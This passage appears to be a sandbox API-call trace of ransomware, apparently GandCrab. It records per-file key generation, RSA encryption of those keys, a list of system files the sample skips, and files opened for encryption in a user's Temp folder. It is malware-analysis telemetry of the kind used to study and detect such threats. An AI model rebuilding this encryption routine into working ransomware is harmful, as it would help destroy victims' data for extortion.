pdwDataLen=0x285d224*=0x4) returned 1 [0170.563] CryptEncrypt (in: hKey=0x5f5ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2960000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.563] GetLastError () returned 0x0 [0170.563] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2VKr21JCYqf.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2vkr21jcyqf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.563] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv") returned 268 [0170.563] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv") returned 268 [0170.563] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv") returned 268 [0170.563] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv") returned 268 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="desktop.ini") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="autorun.inf") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="ntuser.dat") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="iconcache.db") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="bootsect.bak") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="boot.ini") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="ntuser.dat.log") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="thumbs.db") returned -1 [0170.563] lstrcmpiW (lpString1="7Myiu18iTn_ngVPG0Kx.flv", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.563] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7myiu18itn_ngvpg0kx.flv")) returned 0xffffffff [0170.563] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv", dwFileAttributes=0xfffffffe) returned 0 [0170.563] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0170.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.564] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.564] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.564] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.564] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.564] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.565] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.566] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5cb0) returned 1 [0170.566] CryptGetKeyParam (in: hKey=0x5f5cb0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.566] CryptEncrypt (in: hKey=0x5f5cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2970000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2970000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.566] GetLastError () returned 0x0 [0170.566] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.566] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.568] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5ef0) returned 1 [0170.568] CryptGetKeyParam (in: hKey=0x5f5ef0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.568] CryptEncrypt (in: hKey=0x5f5ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2980000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.569] GetLastError () returned 0x0 [0170.569] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.569] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7Myiu18iTn_ngVPG0Kx.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7myiu18itn_ngvpg0kx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.569] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3") returned 266 [0170.569] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3") returned 266 [0170.569] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3") returned 266 [0170.569] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3") returned 266 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="desktop.ini") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="autorun.inf") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="ntuser.dat") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="iconcache.db") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="bootsect.bak") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="boot.ini") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="ntuser.dat.log") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="thumbs.db") returned -1 [0170.569] lstrcmpiW (lpString1="7_RurxYXMq2BTCtqr.mp3", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.569] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7_rurxyxmq2btctqr.mp3")) returned 0xffffffff [0170.569] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3", dwFileAttributes=0xfffffffe) returned 0 [0170.569] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.570] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.570] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.570] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.570] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.570] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.570] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.572] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f61f0) returned 1 [0170.572] CryptGetKeyParam (in: hKey=0x5f61f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.572] CryptEncrypt (in: hKey=0x5f61f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2990000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2990000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.572] GetLastError () returned 0x0 [0170.572] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.572] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0170.580] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5d70) returned 1 [0170.581] CryptGetKeyParam (in: hKey=0x5f5d70, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.581] CryptEncrypt (in: hKey=0x5f5d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29a0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29a0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.581] GetLastError () returned 0x0 [0170.581] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.581] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\7_RurxYXMq2BTCtqr.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\7_rurxyxmq2btctqr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.581] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png") returned 263 [0170.581] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png") returned 263 [0170.581] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png") returned 263 [0170.581] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png") returned 263 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="desktop.ini") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="autorun.inf") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="ntuser.dat") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="iconcache.db") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="bootsect.bak") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="boot.ini") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="ntuser.dat.log") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="thumbs.db") returned -1 [0170.581] lstrcmpiW (lpString1="9NNryomG21wNwN.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.581] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9nnryomg21wnwn.png")) returned 0xffffffff [0170.581] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png", dwFileAttributes=0xfffffffe) returned 0 [0170.581] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.582] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.582] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.582] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.583] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.583] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.583] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.584] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5b30) returned 1 [0170.585] CryptGetKeyParam (in: hKey=0x5f5b30, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.585] CryptEncrypt (in: hKey=0x5f5b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29b0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29b0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.585] GetLastError () returned 0x0 [0170.585] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.585] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.586] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5b70) returned 1 [0170.587] CryptGetKeyParam (in: hKey=0x5f5b70, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.587] CryptEncrypt (in: hKey=0x5f5b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29c0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29c0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.587] GetLastError () returned 0x0 [0170.587] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9NNryomG21wNwN.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9nnryomg21wnwn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.587] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log") returned 257 [0170.587] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log") returned 257 [0170.587] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log") returned 257 [0170.587] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log") returned 257 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="desktop.ini") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="autorun.inf") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="ntuser.dat") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="iconcache.db") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="bootsect.bak") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="boot.ini") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="ntuser.dat.log") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="thumbs.db") returned -1 [0170.587] lstrcmpiW (lpString1="AdobeARM.log", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.587] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log")) returned 0x20 [0170.588] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log", dwFileAttributes=0x20) returned 1 [0170.591] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.591] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.591] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.591] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.592] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.592] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.592] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.592] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.594] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5ff0) returned 1 [0170.594] CryptGetKeyParam (in: hKey=0x5f5ff0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.594] CryptEncrypt (in: hKey=0x5f5ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.594] GetLastError () returned 0x0 [0170.594] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.594] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0170.596] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5c70) returned 1 [0170.596] CryptGetKeyParam (in: hKey=0x5f5c70, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.596] CryptEncrypt (in: hKey=0x5f5c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.596] GetLastError () returned 0x0 [0170.596] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.598] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0170.599] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2a00000 [0170.599] ReadFile (in: hFile=0x514, lpBuffer=0x2a00000, nNumberOfBytesToRead=0x100000, 